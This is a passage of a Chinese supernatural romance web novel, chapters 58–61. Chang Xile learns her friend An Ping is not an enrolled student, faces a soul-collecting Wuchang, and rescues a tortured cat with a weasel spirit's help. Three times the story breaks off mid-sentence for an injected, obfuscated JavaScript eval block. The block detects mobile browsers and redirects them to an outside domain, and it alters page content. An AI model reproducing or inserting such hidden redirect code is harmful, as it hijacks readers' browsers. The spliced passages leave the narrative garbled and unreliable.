这样的生活实在太容易消磨人的意志了。尽管周六因为调休还有课,常喜乐却又小病了一场。她被很担心其身体的杨瑰司等人强制请假,只好拜托任清给她带学习笔记回来。然而等常喜乐睡得昏天暗地爬起来的时候,才想起来她似乎和戴西港还有个见面的约定。 一向准时的常喜乐吓得几乎要从床上弹起来,不过她很快就发现了一条让她安心下来的消息。 西港:[抱歉,今天要调休,公司这边离不开我。你明天是否有空呢?] (^v^) :[当然当然!] 西港:[那么就到时候再见。] 常喜乐放下手机长呼出一口气,没想到“万恶”的资本家本人还得受调休的苦。 58.咖啡馆 两人约的时间在周日上午十点。由于周六实在是睡得太多,常喜乐早早就醒了。她照例量完体温,看已经回落到正常范围后就出门买早饭去了。 等常喜乐带着早饭回到宿舍,任清和方信艾正围在桌边讲话,杨瑰司则又出门了。 “请看,构思是不是很巧妙?”任清问。 “真的诶,好神奇哦。”方信艾看见常喜乐就欢呼起来,“喜乐——我的早饭大师,我爱你!” 常喜乐笑着把买好的鸡蛋灌饼递给两人,又被方信艾拉着去她们桌子前了:“请看任清最近捣鼓的新东西!” “是什么呀?”常喜乐把视线移到任清的书桌上,她左手压着一个漂亮的风景明信片,右手则拿着个小巧的圆珠笔。 “是我自己研究出来的周边哦,过段时间有个漫展,我打算带点去送给同担。”任清笑眯眯地晃着手上的圆珠笔,神秘兮兮地说,“请看。” 她按了一下圆珠笔顶上的小圆珠,从笔尖的位置射出来一道光线。一照到明信片上,纸面右下角的花圃处就浮现出一个手舞足蹈的可爱小人。 看到常喜乐惊叹的表情,任清满意地收回手,从脚边的箱子里拿出满满一摞类似款式的明信片,递了一张明信片加一个紫外线笔给常喜乐:“送给你~” “谢谢任清!”常喜乐本人虽然不认识任清最近迷上的角色,但是却很喜欢这种富有心思的小玩意儿,她把这份礼物妥善放在桌子上,收拾了一下就出门了。 方信艾还在对这个技术啧啧称奇,她拿着那紫外线笔比划着说:“任妹,你真是干一行行一行,太厉害惹!” 任清没忍住笑起来,每到这时候她就没了那在外人前内敛的模样,自得道:“为母则刚!为了三水清宝宝我什么都能行!” 方信艾弯着唇,随手又按了一下紫外线笔的开关,在看到其照射方向的时候,“咦”了一声。 “怎么了?笔有什么问题吗?”任清正在逐个检验明信片和笔的质量,对方信艾的反应很敏感。 “没有没有,只是……任妹你看。”方信艾指了指常喜乐座位的方向。 山城大学的宿舍大多是四人寝,每个人都拥有一个上床下桌。桌面左侧是衣柜,右侧是镂空书柜,正对面则是墙壁,由个人自由发挥。像任清的那面墙壁贴了很多关于“三水清”的周边、方信艾的墙壁上贴了些粘钩用来挂置物架,杨瑰司的桌前墙壁则一片空白。 至于常喜乐,她那一面墙上挂着一幅油画,是幅落日余晖图。这几天常喜乐每次回寝室,都累得要坐在椅子上放空一会儿。这时候,她就会定定地看着这幅画。 方信艾知道常喜乐的男友曾经送过她一幅画,料想这幅多半也是,调笑着说小情侣感情真好。没想到常喜乐只是平静地说:“这是他送我的分手礼物。”让方信艾半夜惊醒时都要骂自己一声“我有罪啊!” 因此后来她每次路过这幅画时,都努力做到目不斜视。 今天是她头一回认真观察这幅画,方信艾指着那画的左边,对任清说:“你看这里。” 在那被瑰色所照耀的层峦山脉中,在那只雪白的飞鸟之下,被紫外线灯光照出来了一只猫爪印。在这爪印旁边,还写下了“喜乐”两个字。 其实方信艾也算久经情场,在她看来,真正的分手绝对是眼不见为净。像常喜乐这样天天盯着画痴痴看的模样,说分手礼物,还不如说是定情信物来得更可信。 “你说,喜乐知不知道这件事呢?”任清问。 “谁知道呢。”方信艾摊了摊手。 与此同时,常喜乐则到达了学校附近商业街的一家咖啡馆。她走进店里,一眼就看到了戴西港的背影。 周末日,又是在大学城附近,店里待着的基本是出来逛街的学生、或者是约会的小情侣。戴西港长相令人惊艳,又一身西装坐在窗边对着笔记本电脑工作,引来不少好奇的视线。 现在的大人工作可真辛苦啊……常喜乐在心里感叹了两声,就走到他对面拉开椅子坐下:“抱歉,我来晚了。” “是我来太早了。”戴西港见到常喜乐来,就合上了电脑。他拿起一边的菜单问常喜乐:“吃过早饭了吗?我刚才点了一些甜品,你看看还有没有什么要加的?” “我吃过啦。”常喜乐摆了摆手,“你顾自己点就好。” 戴西港从善如流地点了点头,把菜谱放到了一边。他看着常喜乐,突然问:“山雁有没有告诉过你,她在我的书房布置了些什么东西?” “嗯?没有诶。”常喜乐愣了愣,当时她只负责转述,却并不是很了解戴山雁和她哥哥之间有什么故事。 “那间书房,原本是我的,山雁的在楼上。但她小时候顽皮,总坐不住,就被我揪到书房里盯着做功课。久而久之就成了共用的。”戴西港说到这,揉着眉心笑了笑,“后来我出国留学,大部分时间都在国外,近一两年接手了家里的事。就算是办公,也基本在公司。那书房就闲置了。我不去,山雁也不会来。” 戴西港拿出手机,从相册里调出了一张照片递给常喜乐看:“以至于我居然要她提醒,才想起来要进去看看。” 照片里,书房的正对面窗户上挂了个大红的横幅,上书:“欢迎戴公子回国!” 四面墙上则张贴了很多东西。有些是戴山雁小时候给她哥画的简笔画,还有些是她拍的关于戴西港的照片。那照片按照年龄顺序整理出来,和她自己同年龄段的照片从小到大并列着贴在一起。两个一团孩气的幼童,逐渐长成了青涩的少年,最后成为了长相相似、气质却截然相反的两个成年男女。 戴山雁在旁边还批注了:我会努力做到和哥哥一起变成老顽童,希望你到时候还能记得给我发压岁钱! 常喜乐知道,戴山雁其实很早就接受了她自己随时会死的事实。与其让周围的人总担惊受怕地提醒她这不许做那不许做,她更希望他们能接受并一起享受最后的时光。 但作为至亲的人,要做到这点却很难。 在长久的争执之后,戴山雁终于明白了亲人笑容之后的隐痛。她曾经看到过的一句话:“活下来的人才更痛苦。” 因此她愿意为了他们努力活下去,再多活一段时间。 这间书房就是独属于戴山雁的,别扭的道歉。 常喜乐看到这,突然想起当时很好奇的一个问题。她问:“你们为什么要锁上山雁的房间呢?她当时很伤心的。” 戴西港愣了会儿,才告诉她:“我以前总叫她早起锻炼身体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932553|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山雁每次都赖床。后来我敲开门,出来的却是保姆,里面已经整洁得不像她的房间了。” “才想起来,山雁已经不在了。” 所以才干脆锁上房间。他就不会去敲那扇不再打开的门。 看见戴西港递来的纸巾,常喜乐才发现自己的泪水已经打湿脸颊。戴西港苦笑着安慰她:“别伤心了,我都还没有哭呢。” 常喜乐很不好意思地擦了眼泪,服务员正好端来了制作好的甜品与咖啡一一摆在桌上,让他们俩都可以暂时沉默一会。 过了会,她看着桌上几乎要摆不下的甜品,以及服务员说完“剩下的甜品还在制作中”后毫不犹豫转身走向后厨的背影,问:“怎么点了这么多?绝对吃不完的!” 戴西港习以为常地回答她:“因为不知道你会喜欢吃什么,就都尝尝看吧。” 常喜乐不认同地看着他,摇了摇头:“这样太浪费了。我们有能力掌握某些资源时,却并不意味着可以挥霍他们。” 戴西港定定地看了她一会,低头笑起来:“你说得对。那就挑一些你喜欢的吃吧,剩下的我会带走,送给我的家人或者员工品尝。” “好的,那就先说声谢谢啦!”常喜乐的情绪来得快去得也快,她挑了份提拉米苏,把它移到自己的面前尝了一大口。过了会儿她就心满意足地抬头感慨:“这家店的师傅手艺真是太神了!超级好吃。” 常喜乐吃得入神,等吃差不多了,才发现戴西港一口都没有动,只是默默地看着她。他还伸出手来,似乎想触碰常喜乐的脸颊。 她下意识躲开了,戴西港一愣,才指了指她的嘴边解释道:“嘴角,粘上了蛋糕屑。” “哦哦。”常喜乐迅速扯了张纸巾擦嘴,她感到气氛不太对劲,想说点什么转移一下话题,想起来一周前戴西港约她见面的理由,问他,“你之前说想当面告诉我的,关于我朋友的事,是什么呢?” “我在山城大学有位老朋友,因此问什么事情都很方便。”戴西港偏了偏头,打开他的笔记本电脑,等他的手指快速在键盘上按了几下后,将屏幕调转向常喜乐,“我在无意中发现,你们学校的学生档案里,似乎根本没有一位名叫‘安平’的艺术生。” 常喜乐眼睛不眨地看着屏幕上显示的一条条数据报告,还没反应过来。戴西港也不急,慢慢等她看完。 “会不会是专业找错了呢?”常喜乐问,“安平是艺术生”只是她自己的推断。其实安平并没有说过他在哪个专业就读,画画说不定只是他的爱好而已。 戴西港摇了摇头,他很早就考虑到这个可能性,又划了一下页面,上面很清晰地列出了山城大学在读学生里所有叫“安平”的学生名单:“你可以再确认一下,这里面有没有你的那位朋友。” 叫这个名字的人很少,常喜乐几乎一眼就看完了。 她皱着眉头,突然问:“你为什么要调查这个呢?” “什么?”她的反应与戴西港料想的截然不同,令他一时不知怎么回答。 “他和你原本没有交集,你们是因为我才认识的,对吧?”常喜乐已经完全平静下来了,她双手交握,看着戴西港的眼睛,说,“他的事我自己会去问。至于你这边的原因,我也想听一听。” 59.生死簿 这是个好问题。 大部分时候戴西港是个思考先于行动的人。但今天的事,他直到来这儿前都并没有完全想清楚自己的动机与目的。 戴西港的食指有规律地在桌面上敲打着,现在他又在思考了。 在思考,要不要做一个行动先于思考的人。 “因为我对你感兴趣。”过了会儿,戴西港直言不讳道,“所以对你身边的人也就感兴趣。” “感兴趣分很多种。”常喜乐对这个回答并不满意,“我对安平也很感兴趣,但并不会去查他的身份,也没有逼问过。” “所以,你对我是哪种感兴趣呢?” 戴西港听着对面这个女孩清丽的声音,陷入了深思。像她这样背景的姑娘他见过许多,但常喜乐要格外不同些。 如果再让他多像现在这样注视她一会儿,多放任自己靠近她一些,多和她经历些奇灵古怪的事儿。大概他对她的感情会悄然发生某种质的变化,等到那时,要转变航向就再也不可能了。 但现在说开,还为时尚早。 戴西港发现了她的意图,笑着问:“你是想逼我向你表白么?” “大概吧。”常喜乐耸耸肩膀,这样她就能直接拒绝他,而不至于使自己陷入恩人和报恩者这样暧昧粘稠的境地,“或者你可以直接告诉我,是我自作多情。” “如果我说,这不是自作多情,你会不会再也不和我见面?”戴西港问。 “我只是希望你早点想清楚,你究竟是喜欢我,还是在我身上寻找山雁的影子?”常喜乐对他说,“你总得分清,我们不是同一个人。而山雁已经离开了。” “我知道。”戴西港露出个带着隐痛的笑容,他喃喃低语着,“可我如果不去认识真正的你,又该怎么分清呢?” “那么,正式自我介绍一下。我叫常喜乐,来自淮南阳城,现就读于山城大学英语专业。”常喜乐向戴西港伸出手,认真地说,“为了避免后悔,在你分清自己的情绪之前,请不要再做多余的事,可以吗?” 戴西港沉默地看着她那只纤长的手,视线停留在那雪白的皓腕上。 什么是多余的事? 他用力地回握住她的手,说:“好吧。” “但你的自我介绍简直和面试开头一样。”戴西港吐槽。 “如果贵司有发展海外业务的倾向,我也很乐意加入。”常喜乐笑了笑。 等离开咖啡厅的时候,常喜乐才长呼出一口气来。 太不一样了。 安平和他们都太不一样了。 安平会坦然地表示想再见她而不需要找任何理由,会直白地说出“爱”这个字眼。 常喜乐很擅长挡掉那些似是而非的暧昧,但对于这样热烈的感情却说不出拒绝的话。 又或者说,安平总是要特别一些。 可他居然不是山城大学的学生吗? 常喜乐刚才说的大部分都是实话,只有一点错——她说自己对安平的兴趣没有浓烈到要调查他、逼问他的地步。实际上,她只是自认没有这样的资格,想等到安平自己愿意说。 那她如果现在冲去找安平问清楚,又算个什么事儿呢? “嘿,嘿!能听见我说话吗?” 耳边又传来声音,常喜乐置之不理,只是匆匆赶着路往前走,尽管她根本就没有一个确切的目的地。 “喂!”一张满是血的脸猛地出现在常喜乐面前,吓得她停下脚步、紧闭双眼。尽管这次常喜乐并没有尖叫,但她是否看到这鬼也很明显了。 常喜乐忍无可忍地大声说:“没看人正烦着呢!你找人帮忙就不能用礼貌点的方式吗?” 所谓恶鬼还怕恶人磨。 “啊……对不起,但我,我真的有点急。”杨姝的脸又变回了正常的苍白模样,她手指不住地互相绞着,怯怯地看着常喜乐。 常喜乐看她这幅样子,只好叹了口气:“你说吧,是要找你那只小猫吗?” “你说的这个的确很重要,但我这次找你是有别的事。”杨姝的神色变得很着急,她说,“我找不到多宝了。” “多宝?”常喜乐冷静下来,她问,“你整个学校都找过了吗?图书馆边上、食堂里?” “都找过了,它和我约好要再见一面的。可是……我感觉到它的气息和我家小嘉汇聚到了一个地方。”杨姝说。 “什么?”常喜乐一路听一路往学校里那条环校的大河方向赶。她站在栏杆边,盯着那苍翠的群山,问,“你说多宝在那里?” “对。但我能力有限,没办法亲自过去查看。”杨姝说。 “这怎么可能呢?这么宽的一条河,多宝是这么小一只猫,它总不能自己穿越大河跑到山的一边。”常喜乐不能理解,问杨姝,“你是不是感觉错了?” “不会错的,我能感觉到多宝的气息。”杨姝还想说点什么,但被一个冰冷的声音打断了。 “杨姝,女,卒于甲辰年八月初九。是本人没错吧?” 两人向声音的来源看去,就看见一个穿风衣的男人拿着厚厚的本子翻看着。他不紧不慢地向两人靠近,似乎一点也不担心她们再逃跑。 常喜乐下意识挡在了杨姝面前,这无常注意到她,笑了起来:“你不用急,我本就是来找你的。倒要谢谢你帮我找到这逃窜的魂魄了,真是意外之喜。” “我还不能跟你走。我有事情没有做完。”杨姝听完这话就不住地往后退,但很快她就无处可走,因为从她的手腕上延伸出一条长长的细线,尽头就在无常的指尖,是个勾魂索。 “所有不愿离开的亡魂都是这么和我说。但我已经没有耐心再等你们了。”无常一勾手指,杨姝就向前踉跄一步,他循循善诱地劝道,“不管你们究竟有什么想不通、放不下,黄泉路上走一遭,一碗孟婆汤下肚,就什么都忘了。来吧……孩子,来吧……” 杨姝的神情逐渐变得漠然,尽管脸上已经涕泗横流,她却无法抗拒地向前走着。无常的这些话听起来似乎是劝慰,但“即将忘记一切让她怨恨的事”,反而更让她感到深深的恐惧。 常喜乐下意识想拉住杨姝的手臂,在她想起来鬼没有实体之前,手掌心却已经触到了杨姝的身体。这是她第一次碰到杨姝,杨姝的手臂简直像从冰窟里拿出来一样由内而外冒着寒气。常喜乐立刻感到有一股巨力拉扯着她,随后她就难以抵御地随着杨姝一块儿向前走去。无常的手指再一勾,却感到一股相反方向的阻力。他一抬头,是常喜乐反握住了他勾在杨姝魂魄上的索,在努力与之抗衡着。 “瞧,我就说你很有天赋吧?”他不怒反笑,意味深长地看向常喜乐,似乎很快慰,但在此情此景下实在显得阴恻恻的,“很少有人能拽住这根勾魂索的。” 常喜乐顺着他的目光看向自己的手腕。在那上面不知何时缠绕上了一条若隐若现的红圈,随着她拉住杨姝的举动不断泛着光泽。 “这又是什么?”她伸手想把这红圈扯开,但手指却穿过了红圈。 “我找到你的方式。”无常信步走到她面前,他左手拿着厚厚的本子,右手在封面叩了叩,微笑着提醒道,“你还欠我一个约定哦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937995|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “既然这样,在那一天你为什么不干脆履行约定,反而要带着山雁不告而别呢?”常喜乐一直很不理解这一点。这些天无常的存在就像一柄达摩克利斯剑悬在她的头顶,不知何时就会落下。 “那就要问你的好朋友了。她对你还真是没话说。”无常指的是戴山雁。 “什么意思?山雁现在在哪?”常喜乐警觉道,“她不应该已经进入轮回了吗?” “不不不,你看。”无常摇了摇头,他的右手向后方一抬,不远处就出现一个幻影。在他身后站着一个貌美绝伦的女子,只是脸色苍白、神情冷漠,正是戴山雁。 那一天在戴家山庄,时间一到,戴山雁的灵魂就从常喜乐的身体里脱壳出来。她以上帝视角看着常喜乐倒在戴西港的怀里,心情十分复杂。 无常出现在她身边,喃喃自语着:“怎么又昏过去了?这可让我很难办啊……” 戴山雁问:“你要对她做什么?” 无常展示了一下自己的勾魂索,向常喜乐的方向一甩,她手腕上就浮现出一道若隐若现的红环:“她不是说阴差应该柔性执法么?”无常恨恨地磨了磨自己的后槽牙,这些天为了追查常喜乐这个没到时辰就入地府差点进轮回的生魂,简直不知道废了他多大劲、加了多少班。 “那就让她来当一回活无常,看看她自己能不能以身作则,做个善解人意的好,阴,差!”无常动了动手,就打算连着常喜乐的魂魄也一块儿勾出来。 “等等!”戴山雁拦在他面前。 “让开,不知死活的东西。”无常不耐烦地挥手。 “我早就已经死了。”戴山雁说,“但让我来猜猜,你和她的约定还没有定下具体内容,因此并不能完全生效,没错吧?” 无常收回手,不禁对她高看一眼:“你连这个都知道?” “你给了一个时辰,是让我有时间和家人告别,受益者是我,和常喜乐并没有直接关系。”戴山雁继续说,“所以要说偿还,也应该由我来。” “哦,你想代替她行使约定,不入轮回了?”无常低低地笑起来,笑这个亡魂的无知,殊不知若干年后,她一定会后悔这个决定的。 “没错。”戴山雁肯定地点了点头。 这就是为什么,那天常喜乐醒来后,没再看到他们的身影。 …… 属于戴山雁的幻影无论怎么呼唤都没有反应,常喜乐皱着眉问无常:“那她现在算什么?” “啊,按理说,我应该把她收编到无常行列的。但你知道,做我们这行挺需要天赋,她不太适合。”无常指了指常喜乐,“所以我这就来找你了。” 常喜乐已经明白了一大半,她说出他的打算:“你想让我做个活无常?但我对此根本一窍不通。” “怎么会,你能看见这些亡魂,这就是你最大的天赋。”无常翻开他手上的册子给她瞧,“最重要的是,假若你成为活无常,那让你看见这生死簿上的内容就不算我的失职了。” 也就是说,这之前一切关于常喜乐的地府违规问题都能够迎刃而解。 常喜乐拧着眉看向这被他称为“生死簿”的厚厚册子,它随着风的吹拂被随意地翻着页,时间一路回退到今年的八月十三。 [安平,?,卒于甲辰年八月十三] “这是什么?”常喜乐不可置信地走上前,想拿过册子仔细查看。 无常简直要忍不住笑出声了。 没错,孩子,接过去吧。 接过这个生死簿,你就正式接受了我们约定的内容。 60.条件 “别碰生死簿。” 常喜乐的手伸到一半就停下了。 “安平?”她回头,然而目光所及却没看到那个白发青年。这个场景的既视感太强,她仿佛回到了在蓝山医院的那个雨夜,有个温柔的声音叮嘱她—— [低头,闭眼,一切只不过是一场噩梦] 但现在,眼前的一切都真实得可怕。常喜乐再也不会相信这只是一场噩梦。 “你为什么停下了?”无常却并没有意识到常喜乐听到了什么,他皱眉看向四周,嘟囔着,“哪儿来的猫叫?” 常喜乐才惊觉这两句叮嘱似乎只有她能听懂。她看向无常,又看向一边茫然的杨姝,问:“你听到了吗?” “听到了什么?猫叫吗。”杨姝不太明白这么紧张的局面下,这两人怎么还有心情去管一只路过的猫在说什么。 是了,她太紧张,以至于根本没意识到,刚才的声音实际上是猫语,只有常喜乐能听懂的猫语。 下一秒,那声音的距离似乎更加接近了,他语气急促地说:“弯腰。” 常喜乐凭直觉遵循了这一道指令,她一弯下身,无常就感到面前闪过一道白光,下一秒那生死簿就脱出了他的手。 在一边的空地上,一只雪白的狮子猫回过头来,它嘴中叼着那册本子。 “又是你?”无常一眼就认出了它,他一挥手、原本拴在杨姝身上的勾魂索就转而飞向那狮子猫,一字一顿道,“找死!” 狮子猫衔着的生死簿在争斗中被抛向了空中,无常飞身上前想要夺回来,但下一秒他落回地上,在他苍白的手背上则应声出现了一道血痕。 说是血痕,但那伤口没有流出一滴血,新伤和旧伤交叠在一起、显得格外狰狞。 而在三人对面,落回地上的却是一个高挑的白发青年。他咳了一声,嘴角泛出血痕,神情毫无从前常喜乐熟悉的乖顺模样。他左手拿着生死簿,右手手背随意地抹去唇边的血迹,露出个挑衅的笑容,对无常勾了勾手指,做了个口型: [来。] 几乎是一眨眼他就消失在众人的视线中,无常暗骂了一声,迅速追上去。 常喜乐望着他们离开的方向,一时不知道该先为哪件事感到惊讶。 但她知道,安平是在为她们争取时间。当务之急,还是要解决一件事,是之前她本该去做却一直逃避的。 她转头问杨姝:“你确定,多宝和你养的小嘉,都在对面的那座山脚?” “是的!”杨姝眼睛含泪,“虽然我听不懂多宝说话,但这几天,是它一直陪着我安慰我。我很怕它和小嘉一样是被坏人抓走了。” “好,那我们就走吧。”常喜乐深吸一口气,从怀里拿出个黑色铃铛来,她闭着眼睛,在心中默念: [威瑟尔] 下一秒,随着她手腕的晃动,铃铛响了起来。无形的声波一圈圈荡开,传到了它该抵达的地方。 “哟,某人不是说,没有需要我帮忙的地方吗?”从树林里缓步走出来一个人。 第一次召唤成立了。 “带我们去河对面的山脚,找到多宝和小嘉两只猫。”常喜乐没有多和他废话,直接说出了自己的指令。 “嗳,难得找我就这么直奔主题。”威瑟尔拉下他的兜帽,故作哀伤道,“你也稍微和我叙叙旧么,不然我会伤心的呀?” “不客气,你应该的。”常喜乐忍着寒气握住杨姝的手,对他说,“走吧,要快。” 威瑟尔深深地看了她一眼,他揽住她的肩膀,耸了耸肩:“这可是你说的。” 在某个森林的深处,常喜乐扶着树干不停干呕。杨姝站在一边给她拍背,威瑟尔则抱臂靠在树干上无辜道:“是你说要快的呀?” 杨姝听这话没忍住瞪了他一眼,却正好看见威瑟尔那张原本就带点邪性的漂亮脸庞幻化出黄鼠狼的模样,对着她低吼了一声,吓得杨姝没敢再说话。 常喜乐很快就调整好了自己的状态,她瞥了眼威瑟尔,面不改色地说:“带路。” 她明白,和这样的生物交易,应该对自己提出的每一个要求都字斟句酌。没有谈好指令细节是她的疏忽。 威瑟尔意外地挑了挑眉,跟上常喜乐后提醒她:“有件事不得不提一下,在这座山里可远远不止有两只猫哦?我怎么知道你要的是哪两只。” 常喜乐难以相信地问:“这么偏僻的地方生活着很多猫?是一直生活在这的野猫吗?” “谁知道呢?”威瑟尔没有多说,只是先带着两人往某个大致的方向慢慢走去。 “杨姝,你一直想让我找到你的小猫,但在紧迫性上却强调得很少。你说救多宝比找小嘉更急。”常喜乐一边走,一边捋着自己的思绪,她问,“其实你对小嘉现在怎么样已经有猜想了,对吗?” “……对。”杨姝突然变得很低落,她又开始抽泣起来,“小嘉,大概已经死了。都怪我……” “别哭了,能说清楚点吗?怎么就都怪你了,到底是谁干的?”威瑟尔烦躁地掏了掏耳朵。 常喜乐拍着杨姝的脊背:“慢慢讲,说不定多宝的遭遇和小嘉的有相同之处,我们能从中找到线索。” “劝你还是少碰她,活人频繁地接触鬼魂,阴气会变重哦?”威瑟尔说。 常喜乐看他一眼,做了个“嘘”的动作。 杨姝是个普通的大学生,她的生活费外加自己兼职攒的钱足够她在校外租个房子、再养只小猫舒舒服服地过日子。 尽管家里人并不太同意她养猫,但天高皇帝远,杨姝和小嘉度过了一段很幸福的时光。 只是好景不长,小嘉生病了。 医生说,治疗的费用就算花下去,猫也未必救得回来。杨姝负担不起如无底洞一般的医疗费,家里也不可能支持她花这么多钱去救一个“畜生”。 但小嘉就和她的亲人一样,她把自己身上攒的钱都花了下去,看着小嘉分明已经在慢慢好转、努力抬起头舔她的手指,又怎么能说出放弃两个字? 她焦虑地睡不好觉,在网上找到了一批相同情况的人报团取暖,他们一起讨论着治疗方案,讨论着宠物能痊愈的希望,其中不乏和杨姝一样没钱的人。 网友说:[可以找爱心贷呀,我家小狗就是靠这个救活的。而且借来之后可以慢慢还,我现在已经还完了!这是我家小狗哈鲁~]文末还配了一张不露脸的和狗狗的合照。 杨姝心动了,她按着网友说的方法找到了那个爱心贷。一切都很顺利,她填好信息、借到钱,治好了小嘉。那之后她照常兼职打工,在月底打开网站打算部分汇款时却惊呆了。 网友只提到还款日期很宽容,却没有告诉杨姝其利息之高。网站用文字游戏欺骗了杨姝,终于在最后露出了它的獠牙。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14945901|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断来她住址处骚扰、催还款,甚至还掳走了她的小猫,威胁她如果报警,就把她之前为贷款留下的半裸照发出去。 杨姝夜不能寐,一边陷入平生第一次被催债的恐慌中,一边又每晚被房间外小嘉的惨叫录音折磨,却不敢打开门看一看。在这样的套路下,对方的目的是逼迫她去进行一些有色交易还款。 但在这之前,杨姝却猝死了。 不知情的催债人还照例来播放录音进行恐吓,误以为杨瑰司家是他们的催债对象,才有了那天晚上的事。而杨姝因为放不下小嘉,心中有执念,躲过了无常的追踪,一直逃窜至今。 常喜乐难得陷入了沉默,她过了会儿才有些惋惜地说:“其实应该要报警的。” 杨姝点点头:“我死后过了很久才回过味来,当时身边没什么亲近的人,只有当初那个教我贷款的网友陪着我。她让我别报警,欠债不还怎么说都是我这边的错。后来……后来她就不理我了。” 威瑟尔嗤了一声,说:“都是一伙儿的。” 杨姝掩面哭泣:“我现在只想找到小嘉,都怪我,让它连死都那么痛苦。我就想把它好好下葬。” 常喜乐拍了拍她的肩膀,说:“不是你的错。” 下一秒威瑟尔拎着常喜乐的袖子把她的手臂移开,随后他又走到两个人中间把她们隔开,面无表情地说:“就在前面。” 常喜乐和杨姝也隐约听见了,在不远处的树林中,有一只小猫在惨叫。 “别打我!别烫我!我不吃你的东西了还不行吗?这是哪里?放我回家……我姥姥还在等我回家呢……啊!” 在又一声惨叫后,前方就没了声响,常喜乐一下就听出这是多宝的声音,她想跑上去阻止,却被威瑟尔拉住手臂拽了回来。 “你干什么!”常喜乐压低声音急切地问他,“让我过去。” “对面有个很糟糕的家伙呢,你确定要让他看见你的长相?”威瑟尔眸光慢慢暗下来,他把常喜乐拦到身后,随后一挥手,前面就传来一个男人惊呼的声音。 一阵树木林叶摩挲的声音过后,威瑟尔才松开常喜乐。两人跑上前,看见了草地里奄奄一息的多宝。 它的身上毛发被烟头烫坏了很多处,眼睛边上也有血痕,这会儿几乎是呼气比进气多。 “好了,该去找那个什么叫小嘉的猫了吧?有什么线索没有?”威瑟尔慢慢走上来,若无其事地问。 “你还有人性吗?事到如今你就只想着完成给你下达的命令。”杨姝急得不行,似乎透过多宝看到了小嘉的命运,“现在最重要的是救它。” “我本来就不是人。”威瑟尔反唇相讥,他看向常喜乐,等她开口。 常喜乐紧盯着多宝,站起来问威瑟尔:“你的术法救它吗?” “不能。”威瑟尔坦白,他学的东西里大多是为了攻击,而没有疗愈方向的。 “那好。”常喜乐从口袋里拿起黑色铃铛摇响,对他说,“请送我们去最近的动物医院。” “你就这样用掉第二个愿望?”威瑟尔紧盯着她,问,“不打算求求我额外帮个忙?” 这对他来说分明轻而易举。 “对。”常喜乐没打算浪费时间和他讲条件。她用外套把多宝包起,轻轻地把它托在怀里,说,“别浪费时间了,走。” 威瑟尔又深深地看了她一眼,说:“好。” 61.同事 “这是谁搞的?伤得也太严重了。”兽医做完治疗出来和常喜乐沟通情况,杨姝作为魂魄只能焦急地在一边听,威瑟尔则又把兜帽戴上了,看起来一幅生人勿近的样子。 总而言之,多宝暂时没有生命危险。常喜乐认真听完、做好笔记后,转头看向威瑟尔:“你还不走吗?” 威瑟尔看向她,露出个说不出意味的笑容来:“啊,我留在这里碰碰运气。万一某人打算直接用掉第三个愿望呢?” “你有没有想过,万一我许愿再给我三个愿望呢?”常喜乐问,“人这种东西,可是很狡猾的。” “那我就再帮你三次咯。”威瑟尔的笑容看起来反而真心实意了一些。 常喜乐抬起手,威瑟尔下意识眯了眯眼睛。但她并没有像对待多宝那样抚摸他的头发,只是替他把兜帽戴的更好了些,挡住了他那双尖耳朵。 “你成功了吗?”她问。 “什么?”威瑟尔不明白。 “成功变成了人吗?”常喜乐看着他的眼睛,又问了一遍。 “当然,有谁能看出来我不是?”威瑟尔昂起了头,这些天他在人间游荡,觉得人这种生物真是糟糕得可怕,他因此学会了很多东西。 “可你一直用帽子遮住你的尖耳朵。”常喜乐望着他,说的话平静中带点残忍。 “你就非得这么和我说话?”威瑟尔一直带笑的眉眼终于变得恼火,“你对那只猫可不是这样的。” “你说多宝?”常喜乐歪了歪头,“它才几岁,你连这也要计较。”不管什么生物对幼崽总是充满耐心的。 “不,是那个装模作样的狮子猫。”威瑟尔忍无可忍地扭过头去,“这家伙明明已经来了,却不肯出现。谁知道他想干什么?” 他在说安平么?常喜乐顺着他的视线望去,在街道的拐角处看见了一缕白发。 “我对他有什么特别么?”常喜乐直直地盯着那个方向,问。 “……现在好像不了。发生什么事?”威瑟尔看着她仿佛在燃烧的眼睛,又幸灾乐祸起来,“他惹着你了?” “谁知道呢。”常喜乐问他,“你和杨姝留在这看着多宝,可以吗?”杨姝毕竟是鬼魂,出现什么突发情况的话她处理不了。 威瑟尔斜睨着她:“这是第三个愿望?” 常喜乐转头望向他,认真道:“是请求。” 隔着玻璃窗,威瑟尔实在很难看清楚常喜乐在和那只化人的猫说些什么。他无所事事地托着脸,转头望向还在昏睡中的多宝。 